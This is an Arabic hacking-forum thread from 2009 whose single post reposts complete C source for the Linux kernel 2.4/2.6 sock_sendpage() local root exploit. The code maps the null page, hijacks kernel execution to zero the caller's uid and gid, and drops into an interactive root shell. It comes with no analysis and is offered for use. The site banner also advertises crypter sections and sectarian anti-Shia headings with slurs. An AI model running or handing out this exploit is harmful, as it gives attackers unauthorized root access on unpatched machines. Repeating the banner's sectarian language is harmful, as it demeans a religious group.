عالم المعرفة       - Group XP -       أهل السنه والجماعه
ضع إعلانك هنا الحوار السني الشيعي تعــــلم تشفير الباتش تشفير السيرفر فك التشفير تشفير الملفات Crypter ضع إعلانك هنا
مسابقه تشفير السيرفرات المقدم Hack.VB.NET ضع إعلانك هنا ضع إعلانك هنا ضع إعلانك هنا

فضائح الخميني ، فضائح الشيرازي ، فضائح الخوئي ، فضائح السيستاني ، فضائح حسن نصر الله ، فضائح مقتدى الصدر ، فضائح المذهب الشيعي ، فضائح الشيعة ، فضائح الرافضة ، فضائح الروافض , افلام , وصور , جرائم المجوس ضدأهل السنه , ومقالات , وتصريحات إعلامية


 
العودة   عالم المعرفة - Group XP - أهل السنه والجماعه > قسم حماية الاجهزة والسيرفرات > مكتبة الثغرات > Local Root Exploit

إضافة رد
 
LinkBack أدوات الموضوع
قديم 08-24-2009, 11:32 PM   رقم المشاركة : 1 (permalink)
SnIpEr_H

" Group XP "
 
الصورة الرمزية SnIpEr_H







SnIpEr_H غير متصل

SnIpEr_H has a spectacular aura aboutSnIpEr_H has a spectacular aura aboutSnIpEr_H has a spectacular aura about

افتراضي Linux Kernel 2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)

بسم الله الرحمن الرحيم

السلام عليكم

كود:
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/personality.h>

unsigned int uid, gid;

void kernel_code()
{
	unsigned long where=0;
	unsigned long *pcb_task_struct;

	where=(unsigned long )&where;
	where&=~8191;
	pcb_task_struct=(unsigned long *)where;

	while(pcb_task_struct){
		if(pcb_task_struct[0]==uid&&pcb_task_struct[1]==uid&&
			pcb_task_struct[2]==uid&&pcb_task_struct[3]==uid&&
			pcb_task_struct[4]==gid&&pcb_task_struct[5]==gid&&
			pcb_task_struct[6]==gid&&pcb_task_struct[7]==gid){
			pcb_task_struct[0]=pcb_task_struct[1]=pcb_task_struct[2]=pcb_task_struct[3]=0;
			pcb_task_struct[4]=pcb_task_struct[5]=pcb_task_struct[6]=pcb_task_struct[7]=0;
			break;
		}
		pcb_task_struct++;
	}
	return;
	/*
	** By calling iret after pushing a register into kernel stack,
	** We don't have to go back to ring3(user mode) privilege level. dont worry. :-}
	**
	** kernel_code() function will return to its previous status which means before sendfile() system call,
	** after operating upon a ring0(kernel mode) privilege level.
	** This will enhance the viablity of the attack code even though each kernel can have different CS and DS address.
	*/
}
void *kernel=kernel_code;

int main(int argc,char *argv[])
{
	int fd_in=0,fd_out=0,offset=1;
	void *zero_page;

	uid=getuid();
	gid=getgid();
	if(uid==0){
		fprintf(stderr,"[-] check ur uid\n");
		return -1;
	}

	/*
	** There are some cases that we need mprotect due to the dependency matter with SVR4. (however, I did not confirm it yet)
	*/
	if(personality(0xffffffff)==PER_SVR4){
		if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){
			perror("[-] mprotect()");
			return -1;
		}
	}
	else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){
			perror("[-] mmap()");
			return -1;
	}
	*(char *)0x00000000=0xff;
	*(char *)0x00000001=0x25;
	*(unsigned long *)0x00000002=(unsigned long)&kernel;
	*(char *)0x00000006=0xc3;

	if((fd_in=open(argv[0],O_RDONLY))==-1){
		perror("[-] open()");
		return -1;
	}
	if((fd_out=socket(PF_APPLETALK,SOCK_DGRAM,0))==-1){
		if((fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0))==-1){
			perror("[-] socket()");
			return -1;
		}
	}
gogossing:
	/*
	** Sometimes, the attacks can fail. To enlarge the possiblilty of attack,
	** an attacker can make all the processes runing under current user uid 0.
	*/
	if(sendfile(fd_out,fd_in,&offset,2)==-1){
		if(offset==0){
			perror("[-] sendfile()");
			return -1;
		}
		close(fd_out);
		fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0);
	}
	if(getuid()==uid){
		if(offset){
			offset=0;
		}
		goto gogossing; /* all process */
	}
	close(fd_in);
	close(fd_out);

	execl("/bin/sh","sh","-i",NULL);
	return 0;
}

/* eoc */
كود:
/milw0rm.com/exploits/9479






التوقيع

اسـتــغــفـــر الله الــعـــظـــيـم

SEC.SSH@GmAiL.CoM

 
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
رد مع اقتباس
إضافة رد


الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)
 
أدوات الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are معطلة
Pingbacks are معطلة
Refbacks are متاحة


المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
Linux Kernel 2.x sock_sendpage() Local Root Exploit (Android Edition) SnIpEr_H Local Root Exploit 0 08-23-2009 09:28 PM
DESlock+ 4.0.2 dlpcrypt.sys Local Kernel ring0 Code Execution Exploit AnGeR_HacKeR مكتبة الثغرات 1 07-07-2009 02:45 AM
Linux Kernel Local Root Exploit XP Local Root Exploit 10 11-03-2008 09:40 PM
Linux Kernel 2.6.11 Local Root XP Local Root Exploit 0 05-30-2006 06:48 AM


الساعة الآن 04:21 AM.


روابط مهمة

أقسام المنتدى



Powered by vBulletin Version 3.8.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd
لا تتحمل إدارة منتديات عالم المعرفة أية مسؤولية حول أي موضوع يطرح في المنتدى فإن المكتوب يعبر عن رأى صاحبه أو ناقلة